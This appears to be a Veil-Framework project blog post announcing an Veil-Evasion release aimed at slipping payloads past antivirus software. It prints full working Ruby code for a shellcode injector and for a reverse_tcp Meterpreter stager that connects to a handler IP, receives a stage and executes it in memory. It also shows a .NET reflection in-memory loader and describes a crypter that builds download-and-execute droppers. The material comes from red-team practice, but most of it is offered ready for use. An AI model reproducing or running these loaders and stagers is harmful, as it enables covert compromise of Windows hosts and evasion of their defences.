Exactly a year ago today, we introduced V-Day, our continuous release cycle for Veil-Evasion. We wanted to provide a way to systematically release our evasion research as it progressed, as well as letting everyone know that Veil-Evasion is an actively maintained and developed project.
Back in May we reflected on a year of development for the Veil-Framework. We promise we won’t wax poetic again about the how far the project’s come, how much fun we’ve had developing Veil and interacting with the community, or how awesome the reception at Defcon was from everyone.
Instead, we’re going to cut to the chase and detail our 1 year V-Day anniversary, our biggest release yet.
The coolest news this month is the release of Ruby payload modules. Ruby has a foreign function interface similar to Python’s ctypes. It’s a gem named win32-api, and it will allow you to access and manipulate lower-level Windows32 API functions. This means we can inject shellcode generated from msfvenom using the newly released ruby/shellcode_inject/flat module:
require 'rubygems' require 'win32/api' include Win32 exit if Object.const_defined?(:Ocra) # set up all the WinAPI function declarations VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I') RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V') CreateThread = API.new('CreateThread', 'IIIIIP', 'I') WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I') # our shellcode payload = "\xfc\xe8\x89..." # Reserve the necessary amount of virtual address space # VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40) # move the payload buffer into the allocated area x = RtlMoveMemory.call(ptr,payload,payload.length) # start the thread handleID = CreateThread.call(0,0,ptr,0,0,0) # wait a long time for the thread to return x = WaitForSingleObject.call(handleID,0xFFFFFFF)
But it doesn’t stop there. With this API access, we can also build a pure Ruby reverse_tcp Meterpreter stager, following the same pattern we’ve described in the past. The ruby/meterpreter/rev_tcp stager is a pure-Ruby stage 1 Meterpreter loader, which doesn’t rely on shellcode:
require 'rubygems' require 'win32/api' require 'socket' include Win32 exit if Object.const_defined?(:Ocra) # set up all the WinAPI function declarations VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I') RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V') CreateThread = API.new('CreateThread', 'IIIIIP', 'I') WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I') # needed to translate a ruby socket into an actual system file descriptor / socket num get_osfhandle = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll') # connect to our handler s = TCPSocket.open('192.168.52.150', 4444) # read/decode the size of the metepreter payload being transmitted payloadLength = Integer(s.recv(4).unpack('L')) # 5 spaces -> 1 byte for ASM code, 4 byes for socket descriptor (below) payload = " " # make sure we get all of the meterpreter payload while payload.length < payloadLength payload += s.recv(payloadLength) end #prepend a little assembly to move our SOCKET value to the EDI register # BF 78 56 34 12 => mov edi, 0x12345678 payload = ['BF'].pack("H*") socketID = get_osfhandle.call(s.fileno) # copy in the underlying socket ID into the buffer for i in 1..4 payload[i] = Array(socketID).pack('V')[i-1] end # Reserve the necessary amount of virtual address space # VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40) # move the payload buffer into the allocated area x = RtlMoveMemory.call(ptr,payload,payload.length) # start the thread handleID = CreateThread.call(0,0,ptr,0,0,0) # wait a long time for the thread to return x = WaitForSingleObject.call(handleID,0xFFFFFFF)
These Ruby approaches are great, but you’re probably heard us iterate again and again on how we want a single monolithic attack platform. We hate having to switch back to a Windows box with a specific environment installed (Python, Ruby, etc.) in order to compile our backdoors. Hence our philosophy of trying to only release module families that can compile to Windows executables, all on Kali linux.
Luckily, Ruby has a nice analogue for Pyinstaller, a gem named OCRA, which stands for “One Click Ruby Application”. It follows the same general idea that Pyinstaller does, by wrapping up a Ruby environment, dependencies and target script that are extracted to a temporary directory on a target and executed. And happily, with a bit of trickery we can get this all running on Kali linux as well :)
With the new update, the ./setup.sh script for Veil-Evasion will install Ruby under Wine along with the necessary gems. We’ll have a few more Ruby stagers for release next month, and I spoke about this payload family during my BSides Augusta presentation “Adventures in Asymmetric Warfare: Fighting the AV Vendors“.
A .NET Crypter
Also released this V-Day, and also covered in the BSides Augusta presentation, is a basic .NET “crypter” named Arya. C#/VB.net code is compiled, not interpreted, so we can’t quite build a dynamic obfuscator equivalent to Pyherion. However, .NET has an interesting feature called reflection, which you can use to create type instances at run time, and to invoke and access them. If we have an array of raw bytes of a .NET binary, we can run the entire executable from memory with 3 lines by utilizing reflection:
Assembly a = Assembly.Load(bytes); MethodInfo m = a.EntryPoint; m.Invoke(a.CreateInstance(m.Name), null);
We can obfuscate those bytes in any way we want beforehand, and can store them locally in the file or remotely to download and execute. When Arya is run as a standalone script, you have the option to feed it C# source code or a precompiled .NET .exe. It will then generate either a launcher for the obfuscated source, or a dropper that downloads the obfuscated .NET snippet from a URI. The option use_arya has also been implemented into every C# Veil-Evasion payload, giving you the option to implement another level of obfuscation:
One of the most common requests we received at Defcon was for support beyond just Kali linux. And while Kali remains as our only *officially* supported platform, we’re happy to announce that @TheMightyShiv has brought Ubuntu 14+ and Debian 7+ compatibility to Veil-Evasion, along with non-root installations!
If you have a fresh Ubuntu 14 image, you can run the short setup script hosted at this gist which will install the latest versions of the Metasploit framework and Veil-Evasion.
If you already have Metasploit installed, clone off Veil-Evasion and fire up the ./setup/setup.sh script:
$ git clone https://github.com/Veil-Framework/Veil-Evasion.git $ cd Veil-Evasion/setup/ $ ./setup.sh
When you launch the script, you’ll be prompted for your password to sudo. While all the Apt dependencies are being installed, you’ll be on this screen for a bit:
If you want to check the status of the install or see what’s happening, check the setup.log in the ./setup/ folder:
When you hit this screen, tab over to <Yes> to accept the EULA:
And when you his this screen, click Yes to overwrite the existing files:
Finally, when you hit the end of the setup, enter the installation path for your Metasploit installation. If you used the gist setup or other common setup scripts, this path is likely at /usr/local/share/metasploit-framework/ :
After that everything *should* run properly. There are likely a few issues we missed, so if you run into any problems please submit an issue to our github.
Thanks again to everyone for all their support. We’re looking forward to another great year of releases.
2 thoughts on “A Year of V-Days”